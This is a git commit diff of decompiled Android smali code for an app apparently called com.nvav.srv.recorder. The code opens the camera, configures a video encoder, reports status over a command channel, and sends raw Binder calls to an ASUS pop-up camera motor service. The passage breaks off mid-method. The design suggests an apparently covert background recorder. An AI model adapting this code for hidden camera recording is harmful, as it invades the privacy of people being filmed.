init commit
This commit is contained in:
@@ -0,0 +1,249 @@
|
||||
.class Lcom/asus/motorservice/MotorHalManager$1;
|
||||
.super Ljava/lang/Object;
|
||||
.source "MotorHalManager.java"
|
||||
|
||||
# interfaces
|
||||
.implements Landroid/content/ServiceConnection;
|
||||
|
||||
|
||||
# annotations
|
||||
.annotation system Ldalvik/annotation/EnclosingMethod;
|
||||
value = Lcom/asus/motorservice/MotorHalManager;->Motor(Lcom/nvav/srv/recorder/Speek;)V
|
||||
.end annotation
|
||||
|
||||
.annotation system Ldalvik/annotation/InnerClass;
|
||||
accessFlags = 0x0
|
||||
name = null
|
||||
.end annotation
|
||||
|
||||
|
||||
# instance fields
|
||||
.field final synthetic this$0:Lcom/asus/motorservice/MotorHalManager;
|
||||
|
||||
|
||||
# direct methods
|
||||
.method constructor <init>(Lcom/asus/motorservice/MotorHalManager;)V
|
||||
.locals 0
|
||||
|
||||
.line 83
|
||||
iput-object p1, p0, Lcom/asus/motorservice/MotorHalManager$1;->this$0:Lcom/asus/motorservice/MotorHalManager;
|
||||
|
||||
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
|
||||
# virtual methods
|
||||
.method public onServiceConnected(Landroid/content/ComponentName;Landroid/os/IBinder;)V
|
||||
.locals 7
|
||||
|
||||
.line 86
|
||||
const-string p1, "com.asus.camera"
|
||||
|
||||
invoke-virtual {p1}, Ljava/lang/String;->getBytes()[B
|
||||
|
||||
move-result-object p1
|
||||
|
||||
.line 90
|
||||
:try_start_0
|
||||
const-string v0, "sha-256"
|
||||
|
||||
invoke-static {v0}, Ljava/security/MessageDigest;->getInstance(Ljava/lang/String;)Ljava/security/MessageDigest;
|
||||
|
||||
move-result-object v0
|
||||
:try_end_0
|
||||
.catch Ljava/security/NoSuchAlgorithmException; {:try_start_0 .. :try_end_0} :catch_0
|
||||
|
||||
goto :goto_0
|
||||
|
||||
:catch_0
|
||||
move-exception v0
|
||||
|
||||
.line 92
|
||||
invoke-virtual {v0}, Ljava/security/NoSuchAlgorithmException;->printStackTrace()V
|
||||
|
||||
const/4 v0, 0x0
|
||||
|
||||
.line 94
|
||||
:goto_0
|
||||
invoke-virtual {v0, p1}, Ljava/security/MessageDigest;->update([B)V
|
||||
|
||||
.line 95
|
||||
invoke-virtual {v0, p1}, Ljava/security/MessageDigest;->digest([B)[B
|
||||
|
||||
move-result-object p1
|
||||
|
||||
.line 96
|
||||
new-instance v0, Ljava/lang/StringBuilder;
|
||||
|
||||
invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
|
||||
|
||||
.line 97
|
||||
array-length v1, p1
|
||||
|
||||
const/4 v2, 0x0
|
||||
|
||||
move v3, v2
|
||||
|
||||
:goto_1
|
||||
if-ge v3, v1, :cond_1
|
||||
|
||||
aget-byte v4, p1, v3
|
||||
|
||||
and-int/lit16 v4, v4, 0xff
|
||||
|
||||
.line 98
|
||||
invoke-static {v4}, Ljava/lang/Integer;->toHexString(I)Ljava/lang/String;
|
||||
|
||||
move-result-object v4
|
||||
|
||||
.line 99
|
||||
invoke-virtual {v4}, Ljava/lang/String;->length()I
|
||||
|
||||
move-result v5
|
||||
|
||||
const/4 v6, 0x1
|
||||
|
||||
if-ne v5, v6, :cond_0
|
||||
|
||||
.line 100
|
||||
new-instance v5, Ljava/lang/StringBuilder;
|
||||
|
||||
const-string v6, "0"
|
||||
|
||||
invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
|
||||
|
||||
invoke-virtual {v5, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
|
||||
|
||||
move-result-object v4
|
||||
|
||||
invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
|
||||
|
||||
move-result-object v4
|
||||
|
||||
.line 102
|
||||
:cond_0
|
||||
invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
|
||||
|
||||
add-int/lit8 v3, v3, 0x1
|
||||
|
||||
goto :goto_1
|
||||
|
||||
.line 104
|
||||
:cond_1
|
||||
invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
.line 105
|
||||
new-instance v0, Ljava/lang/StringBuilder;
|
||||
|
||||
const-string v1, "decode: "
|
||||
|
||||
invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
|
||||
|
||||
invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
invoke-virtual {p1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
const-string v0, "IMotorService"
|
||||
|
||||
invoke-static {v0, p1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
|
||||
|
||||
.line 107
|
||||
invoke-static {}, Landroid/os/Parcel;->obtain()Landroid/os/Parcel;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
.line 108
|
||||
invoke-static {}, Landroid/os/Parcel;->obtain()Landroid/os/Parcel;
|
||||
|
||||
move-result-object v3
|
||||
|
||||
.line 123
|
||||
:try_start_1
|
||||
const-string v4, "com.asus.motorservice.IMotorService"
|
||||
|
||||
invoke-virtual {p1, v4}, Landroid/os/Parcel;->writeInterfaceToken(Ljava/lang/String;)V
|
||||
|
||||
const/4 v4, 0x4
|
||||
|
||||
.line 126
|
||||
invoke-interface {p2, v4, p1, v3, v2}, Landroid/os/IBinder;->transact(ILandroid/os/Parcel;Landroid/os/Parcel;I)Z
|
||||
|
||||
.line 127
|
||||
invoke-virtual {v3}, Landroid/os/Parcel;->readException()V
|
||||
|
||||
.line 128
|
||||
invoke-virtual {v3}, Landroid/os/Parcel;->readString()Ljava/lang/String;
|
||||
|
||||
move-result-object p2
|
||||
|
||||
.line 129
|
||||
new-instance v2, Ljava/lang/StringBuilder;
|
||||
|
||||
invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
|
||||
|
||||
invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
|
||||
|
||||
move-result-object p2
|
||||
|
||||
invoke-virtual {p2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
|
||||
|
||||
move-result-object p2
|
||||
|
||||
invoke-static {v0, p2}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
|
||||
:try_end_1
|
||||
.catch Ljava/lang/Exception; {:try_start_1 .. :try_end_1} :catch_1
|
||||
.catchall {:try_start_1 .. :try_end_1} :catchall_0
|
||||
|
||||
goto :goto_2
|
||||
|
||||
:catchall_0
|
||||
move-exception p2
|
||||
|
||||
goto :goto_3
|
||||
|
||||
:catch_1
|
||||
move-exception p2
|
||||
|
||||
.line 131
|
||||
:try_start_2
|
||||
invoke-virtual {p2}, Ljava/lang/Exception;->printStackTrace()V
|
||||
:try_end_2
|
||||
.catchall {:try_start_2 .. :try_end_2} :catchall_0
|
||||
|
||||
.line 133
|
||||
:goto_2
|
||||
invoke-virtual {v3}, Landroid/os/Parcel;->recycle()V
|
||||
|
||||
.line 134
|
||||
invoke-virtual {p1}, Landroid/os/Parcel;->recycle()V
|
||||
|
||||
return-void
|
||||
|
||||
.line 133
|
||||
:goto_3
|
||||
invoke-virtual {v3}, Landroid/os/Parcel;->recycle()V
|
||||
|
||||
.line 134
|
||||
invoke-virtual {p1}, Landroid/os/Parcel;->recycle()V
|
||||
|
||||
.line 135
|
||||
throw p2
|
||||
.end method
|
||||
|
||||
.method public onServiceDisconnected(Landroid/content/ComponentName;)V
|
||||
.locals 0
|
||||
|
||||
return-void
|
||||
.end method
|
||||
@@ -0,0 +1,211 @@
|
||||
.class public Lcom/asus/motorservice/MotorHalManager;
|
||||
.super Ljava/lang/Object;
|
||||
.source "MotorHalManager.java"
|
||||
|
||||
|
||||
# instance fields
|
||||
.field st:Ljava/lang/String;
|
||||
|
||||
|
||||
# direct methods
|
||||
.method static constructor <clinit>()V
|
||||
.locals 1
|
||||
|
||||
.line 20
|
||||
const-string v0, "motor"
|
||||
|
||||
invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public constructor <init>()V
|
||||
.locals 1
|
||||
|
||||
.line 46
|
||||
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
|
||||
|
||||
.line 45
|
||||
const-string v0, ""
|
||||
|
||||
iput-object v0, p0, Lcom/asus/motorservice/MotorHalManager;->st:Ljava/lang/String;
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public static getIntent()Landroid/content/Intent;
|
||||
.locals 2
|
||||
|
||||
.line 67
|
||||
new-instance v0, Landroid/content/Intent;
|
||||
|
||||
const-string v1, "com.asus.motorservice.MotorService"
|
||||
|
||||
invoke-direct {v0, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
|
||||
|
||||
.line 68
|
||||
const-string v1, "com.asus.motorservice"
|
||||
|
||||
invoke-virtual {v0, v1}, Landroid/content/Intent;->setPackage(Ljava/lang/String;)Landroid/content/Intent;
|
||||
|
||||
return-object v0
|
||||
.end method
|
||||
|
||||
.method private static native nativeAutoControl(I)I
|
||||
.end method
|
||||
|
||||
.method public static native nativeAutoControlWithAngle(II)I
|
||||
.end method
|
||||
|
||||
.method private static native nativeAutoControlWithSpecifiedAngle(I)I
|
||||
.end method
|
||||
|
||||
.method public static native nativeCloseDevShutDown(I)I
|
||||
.end method
|
||||
|
||||
.method private static native nativeGetAngleTK()F
|
||||
.end method
|
||||
|
||||
.method private static native nativeGetMinimumRotateAngle()F
|
||||
.end method
|
||||
|
||||
.method public static native nativeGetMotorAngle()F
|
||||
.end method
|
||||
|
||||
.method public static native nativeGetVersion()Ljava/lang/String;
|
||||
.end method
|
||||
|
||||
.method private static native nativeIsMcuReady()I
|
||||
.end method
|
||||
|
||||
.method private static native nativeManualControl(III)I
|
||||
.end method
|
||||
|
||||
.method private static native nativeManualControlNoSS(III)I
|
||||
.end method
|
||||
|
||||
.method private static native nativeMotorStop()I
|
||||
.end method
|
||||
|
||||
.method public static native nativeOpenDev()I
|
||||
.end method
|
||||
|
||||
.method public static native nativeResetUserCalValue()I
|
||||
.end method
|
||||
|
||||
.method private static native nativeSetAngleCallback(Lcom/asus/motorservice/MotorHalManager;I)V
|
||||
.end method
|
||||
|
||||
.method private static native nativeSetAngleTK(I)I
|
||||
.end method
|
||||
|
||||
.method private static native nativeSetInterruptCallback(Lcom/asus/motorservice/MotorHalManager;)V
|
||||
.end method
|
||||
|
||||
.method private static native nativeSetStopCallback(Lcom/asus/motorservice/MotorHalManager;)V
|
||||
.end method
|
||||
|
||||
|
||||
# virtual methods
|
||||
.method public Motor(Lcom/nvav/srv/recorder/Speek;)V
|
||||
.locals 3
|
||||
|
||||
.line 80
|
||||
invoke-virtual {p1}, Lcom/nvav/srv/recorder/Speek;->getPackageManager()Landroid/content/pm/PackageManager;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
.line 81
|
||||
invoke-static {}, Lcom/asus/motorservice/MotorHalManager;->getIntent()Landroid/content/Intent;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
const/16 v2, 0x80
|
||||
|
||||
invoke-virtual {v0, v1, v2}, Landroid/content/pm/PackageManager;->queryIntentServices(Landroid/content/Intent;I)Ljava/util/List;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
if-eqz v0, :cond_0
|
||||
|
||||
.line 82
|
||||
invoke-interface {v0}, Ljava/util/List;->size()I
|
||||
|
||||
move-result v0
|
||||
|
||||
if-lez v0, :cond_0
|
||||
|
||||
.line 83
|
||||
new-instance v0, Lcom/asus/motorservice/MotorHalManager$1;
|
||||
|
||||
invoke-direct {v0, p0}, Lcom/asus/motorservice/MotorHalManager$1;-><init>(Lcom/asus/motorservice/MotorHalManager;)V
|
||||
|
||||
.line 142
|
||||
invoke-static {}, Lcom/asus/motorservice/MotorHalManager;->getIntent()Landroid/content/Intent;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-virtual {p1, v1, v0, v2}, Lcom/nvav/srv/recorder/Speek;->bindService(Landroid/content/Intent;Landroid/content/ServiceConnection;I)Z
|
||||
|
||||
:cond_0
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public destroy()V
|
||||
.locals 0
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onInterrupt()V
|
||||
.locals 2
|
||||
|
||||
.line 60
|
||||
const-string v0, "onInterrupt"
|
||||
|
||||
const-string v1, "oonInterrupt: "
|
||||
|
||||
invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public declared-synchronized onMotorStop(I)V
|
||||
.locals 3
|
||||
|
||||
const-string v0, "onMotorStop: "
|
||||
|
||||
monitor-enter p0
|
||||
|
||||
.line 64
|
||||
:try_start_0
|
||||
const-string v1, "onMotorStop"
|
||||
|
||||
new-instance v2, Ljava/lang/StringBuilder;
|
||||
|
||||
invoke-direct {v2, v0}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
|
||||
|
||||
invoke-virtual {v2, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
invoke-virtual {p1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
invoke-static {v1, p1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
|
||||
:try_end_0
|
||||
.catchall {:try_start_0 .. :try_end_0} :catchall_0
|
||||
|
||||
.line 65
|
||||
monitor-exit p0
|
||||
|
||||
return-void
|
||||
|
||||
:catchall_0
|
||||
move-exception p1
|
||||
|
||||
monitor-exit p0
|
||||
|
||||
throw p1
|
||||
.end method
|
||||
@@ -0,0 +1,26 @@
|
||||
.class public final Lcom/nvav/srv/recorder/BuildConfig;
|
||||
.super Ljava/lang/Object;
|
||||
.source "BuildConfig.java"
|
||||
|
||||
|
||||
# static fields
|
||||
.field public static final APPLICATION_ID:Ljava/lang/String; = "com.nvav.srv.recorder"
|
||||
|
||||
.field public static final BUILD_TYPE:Ljava/lang/String; = "release"
|
||||
|
||||
.field public static final DEBUG:Z = false
|
||||
|
||||
.field public static final VERSION_CODE:I = 0x11
|
||||
|
||||
.field public static final VERSION_NAME:Ljava/lang/String; = "55.17"
|
||||
|
||||
|
||||
# direct methods
|
||||
.method public constructor <init>()V
|
||||
.locals 0
|
||||
|
||||
.line 6
|
||||
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
@@ -0,0 +1,40 @@
|
||||
.class public final synthetic Lcom/nvav/srv/recorder/CameraASUS$$ExternalSyntheticLambda0;
|
||||
.super Ljava/lang/Object;
|
||||
.source "D8$$SyntheticClass"
|
||||
|
||||
# interfaces
|
||||
.implements Ljava/util/function/Predicate;
|
||||
|
||||
|
||||
# instance fields
|
||||
.field public final synthetic f$0:Ljava/lang/String;
|
||||
|
||||
|
||||
# direct methods
|
||||
.method public synthetic constructor <init>(Ljava/lang/String;)V
|
||||
.locals 0
|
||||
|
||||
.line 0
|
||||
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
|
||||
|
||||
iput-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$$ExternalSyntheticLambda0;->f$0:Ljava/lang/String;
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
|
||||
# virtual methods
|
||||
.method public final test(Ljava/lang/Object;)Z
|
||||
.locals 1
|
||||
|
||||
.line 0
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$$ExternalSyntheticLambda0;->f$0:Ljava/lang/String;
|
||||
|
||||
check-cast p1, Ljava/lang/String;
|
||||
|
||||
invoke-static {v0, p1}, Lcom/nvav/srv/recorder/CameraASUS;->$r8$lambda$7lpm9zkoZuDoAjfOA0iYE2U94XQ(Ljava/lang/String;Ljava/lang/Object;)Z
|
||||
|
||||
move-result p1
|
||||
|
||||
return p1
|
||||
.end method
|
||||
@@ -0,0 +1,551 @@
|
||||
.class Lcom/nvav/srv/recorder/CameraASUS$1;
|
||||
.super Landroid/hardware/camera2/CameraDevice$StateCallback;
|
||||
.source "CameraASUS.java"
|
||||
|
||||
|
||||
# annotations
|
||||
.annotation system Ldalvik/annotation/EnclosingClass;
|
||||
value = Lcom/nvav/srv/recorder/CameraASUS;
|
||||
.end annotation
|
||||
|
||||
.annotation system Ldalvik/annotation/InnerClass;
|
||||
accessFlags = 0x0
|
||||
name = null
|
||||
.end annotation
|
||||
|
||||
|
||||
# instance fields
|
||||
.field final synthetic this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
|
||||
# direct methods
|
||||
.method constructor <init>(Lcom/nvav/srv/recorder/CameraASUS;)V
|
||||
.locals 0
|
||||
|
||||
.line 83
|
||||
iput-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
invoke-direct {p0}, Landroid/hardware/camera2/CameraDevice$StateCallback;-><init>()V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
|
||||
# virtual methods
|
||||
.method public onClosed(Landroid/hardware/camera2/CameraDevice;)V
|
||||
.locals 0
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onDisconnected(Landroid/hardware/camera2/CameraDevice;)V
|
||||
.locals 0
|
||||
|
||||
const/4 p1, 0x1
|
||||
|
||||
.line 147
|
||||
sput-boolean p1, Lcom/nvav/srv/recorder/CameraASUS;->Restarting:Z
|
||||
|
||||
const/4 p1, 0x0
|
||||
|
||||
.line 148
|
||||
sput-boolean p1, Lcom/nvav/srv/recorder/CameraASUS;->Starting:Z
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onError(Landroid/hardware/camera2/CameraDevice;I)V
|
||||
.locals 1
|
||||
|
||||
.line 153
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-static {p2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object p2
|
||||
|
||||
filled-new-array {p2}, [Ljava/lang/Object;
|
||||
|
||||
move-result-object p2
|
||||
|
||||
const-string v0, "result=C.E(%d)"
|
||||
|
||||
invoke-static {v0, p2}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
|
||||
|
||||
move-result-object p2
|
||||
|
||||
invoke-virtual {p1, p2}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onOpened(Landroid/hardware/camera2/CameraDevice;)V
|
||||
.locals 11
|
||||
|
||||
.line 87
|
||||
const-string v0, "frame-rate"
|
||||
|
||||
const-string v1, "bitrate"
|
||||
|
||||
const-string v2, "video/avc"
|
||||
|
||||
:try_start_0
|
||||
iget-object v3, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iput-object p1, v3, Lcom/nvav/srv/recorder/CameraASUS;->mCamera:Landroid/hardware/camera2/CameraDevice;
|
||||
|
||||
.line 88
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v3, p1, Lcom/nvav/srv/recorder/CameraASUS;->mCameraManager:Landroid/hardware/camera2/CameraManager;
|
||||
|
||||
iget-object v4, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v4, v4, Lcom/nvav/srv/recorder/CameraASUS;->mCamera:Landroid/hardware/camera2/CameraDevice;
|
||||
|
||||
invoke-virtual {v4}, Landroid/hardware/camera2/CameraDevice;->getId()Ljava/lang/String;
|
||||
|
||||
move-result-object v4
|
||||
|
||||
invoke-virtual {v3, v4}, Landroid/hardware/camera2/CameraManager;->getCameraCharacteristics(Ljava/lang/String;)Landroid/hardware/camera2/CameraCharacteristics;
|
||||
|
||||
move-result-object v3
|
||||
|
||||
iput-object v3, p1, Lcom/nvav/srv/recorder/CameraASUS;->properties:Landroid/hardware/camera2/CameraCharacteristics;
|
||||
|
||||
.line 89
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->properties:Landroid/hardware/camera2/CameraCharacteristics;
|
||||
|
||||
sget-object v3, Landroid/hardware/camera2/CameraCharacteristics;->SCALER_STREAM_CONFIGURATION_MAP:Landroid/hardware/camera2/CameraCharacteristics$Key;
|
||||
|
||||
invoke-virtual {p1, v3}, Landroid/hardware/camera2/CameraCharacteristics;->get(Landroid/hardware/camera2/CameraCharacteristics$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
check-cast p1, Landroid/hardware/camera2/params/StreamConfigurationMap;
|
||||
|
||||
.line 90
|
||||
const-class v3, Landroid/media/MediaCodec;
|
||||
|
||||
invoke-virtual {p1, v3}, Landroid/hardware/camera2/params/StreamConfigurationMap;->getOutputSizes(Ljava/lang/Class;)[Landroid/util/Size;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
.line 91
|
||||
iget-object v3, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
const/4 v4, 0x0
|
||||
|
||||
iput-object v4, v3, Lcom/nvav/srv/recorder/CameraASUS;->MaxSize:Landroid/util/Size;
|
||||
|
||||
.line 92
|
||||
array-length v3, p1
|
||||
|
||||
const/4 v5, 0x0
|
||||
|
||||
move v6, v5
|
||||
|
||||
:goto_0
|
||||
const/4 v7, 0x2
|
||||
|
||||
if-ge v6, v3, :cond_1
|
||||
|
||||
aget-object v8, p1, v6
|
||||
|
||||
invoke-virtual {v8}, Landroid/util/Size;->getWidth()I
|
||||
|
||||
move-result v9
|
||||
|
||||
iget-object v10, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v10, v10, Lcom/nvav/srv/recorder/CameraASUS;->CamResFPS:[Ljava/lang/String;
|
||||
|
||||
aget-object v7, v10, v7
|
||||
|
||||
invoke-static {v7}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
|
||||
|
||||
move-result v7
|
||||
|
||||
if-ne v9, v7, :cond_0
|
||||
|
||||
invoke-virtual {v8}, Landroid/util/Size;->getHeight()I
|
||||
|
||||
move-result v7
|
||||
|
||||
iget-object v9, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v9, v9, Lcom/nvav/srv/recorder/CameraASUS;->CamResFPS:[Ljava/lang/String;
|
||||
|
||||
const/4 v10, 0x3
|
||||
|
||||
aget-object v9, v9, v10
|
||||
|
||||
invoke-static {v9}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
|
||||
|
||||
move-result v9
|
||||
|
||||
if-ne v7, v9, :cond_0
|
||||
|
||||
iget-object v7, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iput-object v8, v7, Lcom/nvav/srv/recorder/CameraASUS;->MaxSize:Landroid/util/Size;
|
||||
|
||||
:cond_0
|
||||
add-int/lit8 v6, v6, 0x1
|
||||
|
||||
goto :goto_0
|
||||
|
||||
.line 93
|
||||
:cond_1
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
const-string v3, "result=Width:%d Height:%d"
|
||||
|
||||
new-array v6, v7, [Ljava/lang/Object;
|
||||
|
||||
iget-object v7, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v7, v7, Lcom/nvav/srv/recorder/CameraASUS;->MaxSize:Landroid/util/Size;
|
||||
|
||||
invoke-virtual {v7}, Landroid/util/Size;->getWidth()I
|
||||
|
||||
move-result v7
|
||||
|
||||
invoke-static {v7}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v7
|
||||
|
||||
aput-object v7, v6, v5
|
||||
|
||||
iget-object v7, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v7, v7, Lcom/nvav/srv/recorder/CameraASUS;->MaxSize:Landroid/util/Size;
|
||||
|
||||
invoke-virtual {v7}, Landroid/util/Size;->getHeight()I
|
||||
|
||||
move-result v7
|
||||
|
||||
invoke-static {v7}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v7
|
||||
|
||||
const/4 v8, 0x1
|
||||
|
||||
aput-object v7, v6, v8
|
||||
|
||||
invoke-static {v3, v6}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
|
||||
|
||||
move-result-object v3
|
||||
|
||||
invoke-virtual {p1, v3}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
|
||||
|
||||
.line 94
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v3, p1, Lcom/nvav/srv/recorder/CameraASUS;->MaxSize:Landroid/util/Size;
|
||||
|
||||
invoke-virtual {v3}, Landroid/util/Size;->getWidth()I
|
||||
|
||||
move-result v3
|
||||
|
||||
iget-object v6, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v6, v6, Lcom/nvav/srv/recorder/CameraASUS;->MaxSize:Landroid/util/Size;
|
||||
|
||||
invoke-virtual {v6}, Landroid/util/Size;->getHeight()I
|
||||
|
||||
move-result v6
|
||||
|
||||
invoke-static {v2, v3, v6}, Landroid/media/MediaFormat;->createVideoFormat(Ljava/lang/String;II)Landroid/media/MediaFormat;
|
||||
|
||||
move-result-object v3
|
||||
|
||||
iput-object v3, p1, Lcom/nvav/srv/recorder/CameraASUS;->format:Landroid/media/MediaFormat;
|
||||
|
||||
.line 95
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->format:Landroid/media/MediaFormat;
|
||||
|
||||
const-string v3, "color-format"
|
||||
|
||||
const v6, 0x7f000789
|
||||
|
||||
invoke-virtual {p1, v3, v6}, Landroid/media/MediaFormat;->setInteger(Ljava/lang/String;I)V
|
||||
|
||||
.line 96
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v3, p1, Lcom/nvav/srv/recorder/CameraASUS;->CamResFPS:[Ljava/lang/String;
|
||||
|
||||
const/4 v6, 0x5
|
||||
|
||||
aget-object v3, v3, v6
|
||||
|
||||
invoke-static {v3}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
|
||||
|
||||
move-result v3
|
||||
|
||||
iput v3, p1, Lcom/nvav/srv/recorder/CameraASUS;->FPS:I
|
||||
|
||||
.line 97
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->format:Landroid/media/MediaFormat;
|
||||
|
||||
iget-object v3, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v3, v3, Lcom/nvav/srv/recorder/CameraASUS;->CamResFPS:[Ljava/lang/String;
|
||||
|
||||
aget-object v3, v3, v5
|
||||
|
||||
invoke-static {v3}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
|
||||
|
||||
move-result v3
|
||||
|
||||
invoke-virtual {p1, v1, v3}, Landroid/media/MediaFormat;->setInteger(Ljava/lang/String;I)V
|
||||
|
||||
.line 98
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$1;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->format:Landroid/media/MediaFormat;
